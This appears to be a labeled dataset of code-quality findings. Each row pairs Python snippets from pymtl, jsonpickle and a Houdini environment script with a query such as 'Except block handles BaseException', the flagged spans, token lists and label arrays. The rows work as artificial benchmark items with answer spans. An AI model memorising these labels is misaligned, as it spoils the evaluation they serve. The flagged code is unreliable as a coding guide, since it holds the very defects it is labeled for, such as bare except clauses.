"\\u\\u\\uNEWLINE\\u\\u\\u_", "gpo", "ly_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "poly_", "in_", "poly", "\\u", "set_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gpo", "ly", "\\u", "array_", "=_", "dec", "2b", "ita", "rray_", "(_", "gpo", "ly_", ",_", "2_", "**_", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "poly", "\\u", "array_", "=_", "dec", "2b", "ita", "rray_", "(_", "poly_", ",_", "2_", "**_", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gpo", "ly_", "=_", "bita", "rray", "2de", "c_", "(_", "convolve", "_", "(_", "gpo", "ly", "\\u", "array_", ",_", "poly", "\\u", "array_", ")_", "%_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "poly", "\\u", "list_", "=_", "concatenate_", "(_", "(_", "poly", "\\u", "list_", ",_", "array_", "(_", "[_", "gpo", "ly_", "]_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_",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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
cornell-brg/pymtl/pymtl/tools/simulation/SimulationTool_struct_test.py
[ { "content": "def test_ConnectPairs( setup_sim ):\n class ConnectPairs( Model ):\n def __init__( s, config ):\n s.a = InPort [ 4 ]( 8 )\n s.b = OutPort[ 4 ]( 8 )\n if config == 'good':\n s.connect_pairs(\n s.a[0], s.b[0],\n s.a[1], s.b[1],\n s.a[2], s.b[2],\n s.a[3], s.b[3],\n )\n elif config == 'bad':\n s.connect_pairs(\n s.a[0], s.b[0],\n s.a[1], s.b[1],\n s.a[2], s.b[2],\n s.a[3],\n )\n\n with pytest.raises( pymtl.model.ConnectionEdge.PyMTLConnectError ):\n model = ConnectPairs('bad')\n\n model = ConnectPairs('good')\n model, sim = setup_sim( model )\n sim.reset()\n for i in range( 5 ):\n for j in range( 4 ): model.a[j].value = i+j\n sim.cycle()\n for j in range( 4 ): model.b[j] == i+j", "metadata": "root.test_ConnectPairs", "header": "['module', '___EOS___']", "index": 720 } ]
[ { "span": "model ", "start_line": 741, "start_column": 4, "end_line": 741, "end_column": 9 } ]
[ { "span": "model ", "start_line": 743, "start_column": 2, "end_line": 743, "end_column": 7 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "Connect", "Pairs_", "(_", "setup", "\\u", "sim_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class_", "Connect", "Pairs_", "(_", "Model_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "s_", ",_", "config_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "._", "a_", "=_", "In", "Port_", "[_", "4_", "]_", "(_", "8_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "._", "b_", "=_", "Out", "Port_", "[_", "4_", "]_", "(_", "8_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "config_", "==_", "'", "good", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "._", "connect", "\\u", "pairs_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "s_", "._", "a_", "[_", "0_", "]_", ",_", "s_", "._", "b_", "[_", "0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "s_", "._", "a_", "[_", "1_", "]_", ",_", "s_", "._", "b_", "[_", "1_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "s_", "._", "a_", "[_", "2_", "]_", ",_", "s_", "._", "b_", "[_", "2_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "s_", "._", "a_", "[_", "3_", "]_", ",_", "s_", "._", "b_", "[_", "3_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "config_", "==_", "'", "bad", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "._", "connect", "\\u", "pairs_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "s_", "._", "a_", "[_", "0_", "]_", ",_", "s_", "._", "b_", "[_", "0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "s_", "._", "a_", "[_", "1_", "]_", ",_", "s_", "._", "b_", "[_", "1_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "s_", "._", "a_", "[_", "2_", "]_", ",_", "s_", "._", "b_", "[_", "2_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "s_", "._", "a_", "[_", "3_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "with_", "pytest_", "._", "raises_", "(_", "pym", "tl_", "._", "model_", "._", "Connect", "ion", "Edge_", "._", "Py", "MT", "LC", "onnect", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "model_", "=_", "Connect", "Pairs_", "(_", "'", "bad", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "model_", "=_", "Connect", "Pairs_", "(_", "'", "good", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", ",_", "sim_", "=_", "setup", "\\u", "sim_", "(_", "model_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sim_", "._", "reset_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "5_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "j_", "in_", "range_", "(_", "4_", ")_", ":_", "model_", "._", "a_", "[_", "j_", "]_", "._", "value_", "=_", "i_", "+_", "j_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sim_", "._", "cycle_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "j_", "in_", "range_", "(_", "4_", ")_", ":_", "model_", "._", "b_", "[_", "j_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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
jsonpickle/jsonpickle/jsonpickle/unpickler.py
[ { "content": " def _restore_object_instance(self, obj, cls):\n # This is a placeholder proxy object which allows child objects to\n # reference the parent object before it has been instantiated.\n proxy = _Proxy()\n self._mkref(proxy)\n\n # An object can install itself as its own factory, so load the factory\n # after the instance is available for referencing.\n factory = self._loadfactory(obj)\n\n if has_tag(obj, tags.NEWARGSEX):\n args, kwargs = obj[tags.NEWARGSEX]\n else:\n args = getargs(obj)\n kwargs = {}\n if args:\n args = self._restore(args)\n if kwargs:\n kwargs = self._restore(kwargs)\n\n is_oldstyle = not (isinstance(cls, type) or getattr(cls, '__meta__', None))\n try:\n if (not is_oldstyle) and hasattr(cls, '__new__'): # new style classes\n if factory:\n instance = cls.__new__(cls, factory, *args, **kwargs)\n instance.default_factory = factory\n else:\n instance = cls.__new__(cls, *args, **kwargs)\n else:\n instance = object.__new__(cls)\n except TypeError: # old-style classes\n is_oldstyle = True\n\n if is_oldstyle:\n try:\n instance = cls(*args)\n except TypeError: # fail gracefully\n try:\n instance = make_blank_classic(cls)\n except: # fail gracefully\n return self._mkref(obj)\n\n proxy.reset(instance)\n self._swapref(proxy, instance)\n\n if isinstance(instance, tuple):\n return instance\n\n if (hasattr(instance, 'default_factory') and\n isinstance(instance.default_factory, _Proxy)):\n instance.default_factory = instance.default_factory.get()\n\n return self._restore_object_instance_variables(obj, instance)", "metadata": "root.Unpickler._restore_object_instance", "header": "['class', 'Unpickler', '(', 'object', ')', ':', '___EOS___']", "index": 263 }, { "content": "def loadclass(module_and_name):\n \"\"\"Loads the module and returns the class.\n\n >>> cls = loadclass('datetime.datetime')\n >>> cls.__name__\n 'datetime'\n\n >>> loadclass('does.not.exist')\n\n >>> loadclass('__builtin__.int')()\n 0\n\n \"\"\"\n try:\n module, name = module_and_name.rsplit('.', 1)\n module = util.untranslate_module_name(module)\n __import__(module)\n return getattr(sys.modules[module], name)\n except:\n return None", "metadata": "root.loadclass", "header": "['module', '___EOS___']", "index": 497 } ]
[ { "span": "except: ", "start_line": 302, "start_column": 16, "end_line": 302, "end_column": 23 }, { "span": "except:", "start_line": 515, "start_column": 4, "end_line": 515, "end_column": 11 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "Unp", "ickle", "r_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "restore", "\\u", "object\\u", "instance_", "(_", "self_", ",_", "obj_", ",_", "cls_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "a", " ", "placehold", "er", " ", "proxy", " ", "object", " ", "whi", "ch", " ", "allow", "s", " ", "child", " ", "object", "s", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "reference", " ", "the", " ", "parent", " ", "object", " ", "bef", "ore", " ", "it", " ", "has", " ", "bee", "n", " ", "instantiate", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "proxy_", "=_", "\\u", "Proxy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "mk", "ref_", "(_", "proxy_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "An", " ", "object", " ", "can", " ", "install", " ", "its", "elf", " ", "as", " ", "its", " ", "own", " ", "factor", "y", ",", " ", "so", " ", "load", " ", "the", " ", "factory_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "after", " ", "the", " ", "instance", " ", "is", " ", "avail", "able", " ", "for", " ", "referenci", "ng", "._", "\\u\\u\\uNL\\u\\u\\u_", "factory_", "=_", "self_", "._", "\\u", "load", "factory_", "(_", "obj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "has", "\\u", "tag_", "(_", "obj_", ",_", "tags_", "._", "NEW", "ARG", "SE", "X_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "args_", ",_", "kwargs_", "=_", "obj_", "[_", "tags_", "._", "NEW", "ARG", "SE", "X_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "args_", "=_", "getargs", "_", "(_", "obj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kwargs_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "args_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "args_", "=_", "self_", "._", "\\u", "restore_", "(_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "kwargs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kwargs_", "=_", "self_", "._", "\\u", "restore_", "(_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "is", "\\u", "olds", "tyle_", "=_", "not_", "(_", "isinstance_", "(_", "cls_", ",_", "type_", ")_", "or_", "getattr_", "(_", "cls_", ",_", "'\\u", "\\u", "meta", "\\u\\u'_", ",_", "None_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "not_", "is", "\\u", "olds", "tyle_", ")_", "and_", "hasattr_", "(_", "cls_", ",_", "'\\u", "\\u", "new", "\\u\\u'_", ")_", ":_", "#", " ", "new", " ", "style", " ", "classes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "factory_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "instance_", "=_", "cls_", "._", "\\u\\u", "new\\u\\u_", "(_", "cls_", ",_", "factory_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "instance_", "._", "default", "\\u", "factory_", "=_", "factory_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "instance_", "=_", "cls_", "._", "\\u\\u", "new\\u\\u_", "(_", "cls_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "instance_", "=_", "object_", "._", "\\u\\u", "new\\u\\u_", "(_", "cls_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Type", "Error_", ":_", "#", " ", "old", "-", "style", " ", "classes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "is", "\\u", "olds", "tyle_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "is", "\\u", "olds", "tyle_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "instance_", "=_", "cls_", "(_", "*_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Type", "Error_", ":_", "#", " ", "fail", " ", "graceful", "ly_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "instance_", "=_", "make", "\\u", "blank", "\\u", "classic", "_", "(_", "cls_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "#", " ", "fail", " ", "graceful", "ly_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "self_", "._", "\\u", "mk", "ref_", "(_", "obj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "proxy_", "._", "reset_", "(_", "instance_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "swap", "ref_", "(_", "proxy_", ",_", "instance_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "isinstance_", "(_", "instance_", ",_", "tuple_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "instance_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "hasattr_", "(_", "instance_", ",_", "'", "default", "\\u", "factor", "y", "'_", ")_", "and_", "\\u\\u\\uNL\\u\\u\\u_", "isinstance_", "(_", "instance_", "._", "default", "\\u", "factory_", ",_", "\\u", "Proxy_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "instance_", "._", "default", "\\u", "factory_", "=_", "instance_", "._", "default", "\\u", "factory_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "\\u", "restore", "\\u", "object\\u", "instance", "\\u", "variables_", "(_", "obj_", ",_", "instance_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "load", "class_", "(_", "module", "\\u", "and", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Load", "s", " ", "the", " ", "module", " ", "and", " ", "return", "s", " ", "the", " ", "class", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "cls", " ", "=", " ", "load", "class", "('", "datetime", ".", "datetime", "')", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "cls", ".\\u", "\\u", "name", "\\u\\u", "\\", "10", ";", " ", " ", " ", " ", "'", "datetime", "'", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "load", "class", "('", "doe", "s", ".", "not", ".", "exist", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "load", "class", "('\\", "u\\u", "bui", "lti", "n", "\\u\\u", ".", "int", "')", "()", "\\", "10", ";", " ", " ", " ", " ", "0", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "module_", ",_", "name_", "=_", "module", "\\u", "and", "\\u", "name_", "._", "rsplit_", "(_", "'.'_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "module_", "=_", "util_", "._", "untr", "ans", "late", "\\u", "module", "\\u", "name_", "(_", "module_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u", "import\\u\\u_", "(_", "module_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "getattr_", "(_", "sys_", "._", "modules_", "[_", "module_", "]_", ",_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
qLab/qLib/examples/workflow/environment_ql_OBJ/example_2--multiple_projects/site_env.py
[ { "content": "import re\nimport json\n\n\n\n\n\n# get project name\n# (extracting from \".../environment_ql_OBJ/<project name>/...\")\n#\nPROJ = extract(\"environment_ql_OBJ\", HIP)\nPROJ = extract(PROJ, HIP)\nPROJSH = PROJ\n\n\n\nprojs = {}\ntry:\n\twith open(\"%s/projs.json\" % ENV_SCRIPT_PATH) as f:\n\t\tprojs = json.loads( f.read() )\nexcept:\n\terr('failed projs.json')\n\nif PROJ in projs:\n\tPROJSH = projs[PROJ]['shortname']\n\n\n\n# extract asset dir name, if the file is within the \"assets\" dir\n# (extracting from \".../asset/<asset name>/...\")\n#\nif \"/assets/\" in HIP:\n\tASSETNAME = extract(\"assets\", HIP)\n\n\n\n# extract shot name, if the file is within the \"shots\" folder\n# (extracting from \".../shots/<shot name>/...\")\n#\nif \"/shots/\" in HIP:\n\tSHOT = extract(\"shots\", HIP)\n\n\t# try to read the \"ranges.json\" file,\n\t# containing the frame range for each shot\n\t#\n\tranges = {}\n\ttry:\n\t\twith open(\"%s/%s/ranges.json\" % (ENV_SCRIPT_PATH, PROJ, ) ) as f:\n\t\t\tranges = json.loads( f.read() )\n\texcept:\n\t\terr('failed to read ranges.json')\n\n\t# if the shot was listed in the \"ranges.json\" file,\n\t# set the shot range variables\n\t#\n\tif SHOT in ranges:\n\t\tr = ranges[str(SHOT)]\n\t\tSHOTSTART, SHOTEND = r[0], r[1]\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "except:", "start_line": 25, "start_column": 0, "end_line": 25, "end_column": 7 }, { "span": "except:", "start_line": 54, "start_column": 1, "end_line": 54, "end_column": 8 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "project", " ", "name_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "extracti", "ng", " ", "from", " ", "\"...", "/", "environ", "ment", "\\u", "ql", "\\u", "OBJ", "/", "<", "project", " ", "name", ">/", "...\"", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "PROJ", "_", "=_", "extract_", "(_", "\"", "environ", "ment", "\\u", "ql", "\\u", "OBJ", "\"_", ",_", "HI", "P_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "PROJ", "_", "=_", "extract_", "(_", "PROJ", "_", ",_", "HI", "P_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "PROJ", "SH_", "=_", "PROJ", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "proj", "s_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "with_", "open_", "(_", "\"%", "s", "/", "proj", "s", ".", "json", "\"_", "%_", "ENV", "\\u", "SCRIPT", "\\u", "PATH_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "proj", "s_", "=_", "json_", "._", "loads_", "(_", "f_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "err_", "(_", "'", "fail", "ed", " ", "proj", "s", ".", "json", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "PROJ", "_", "in_", "proj", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "PROJ", "SH_", "=_", "proj", "s_", "[_", "PROJ", "_", "]_", "[_", "'", "short", "name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "extract", " ", "asset", " ", "dir", " ", "name", ",", " ", "if", " ", "the", " ", "file", " ", "is", " ", "within", " ", "the", " ", "\"", "asset", "s", "\"", " ", "dir_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "extracti", "ng", " ", "from", " ", "\"...", "/", "asset", "/", "<", "asset", " ", "name", ">/", "...\"", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\"/", "asset", "s", "/\"_", "in_", "HI", "P_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "ASSET", "NAME_", "=_", "extract_", "(_", "\"", "asset", "s", "\"_", ",_", "HI", "P_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "extract", " ", "sho", "t", " ", "name", ",", " ", "if", " ", "the", " ", "file", " ", "is", " ", "within", " ", "the", " ", "\"", "shots", "\"", " ", "folder_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "extracti", "ng", " ", "from", " ", "\"...", "/", "shots", "/", "<", "sho", "t", " ", "name", ">/", "...\"", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\"/", "shots", "/\"_", "in_", "HI", "P_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "SHO", "T_", "=_", "extract_", "(_", "\"", "shots", "\"_", ",_", "HI", "P_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "try", " ", "to", " ", "read", " ", "the", " ", "\"", "ranges", ".", "json", "\"", " ", "file", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "contain", "ing", " ", "the", " ", "frame", " ", "range", " ", "for", " ", "each", " ", "shot_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "ranges_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "with_", "open_", "(_", "\"%", "s", "/", "%", "s", "/", "ranges", ".", "json", "\"_", "%_", "(_", "ENV", "\\u", "SCRIPT", "\\u", "PATH_", ",_", "PROJ", "_", ",_", ")_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "ranges_", "=_", "json_", "._", "loads_", "(_", "f_", "._", "read_", "(_", ")_", ")_", 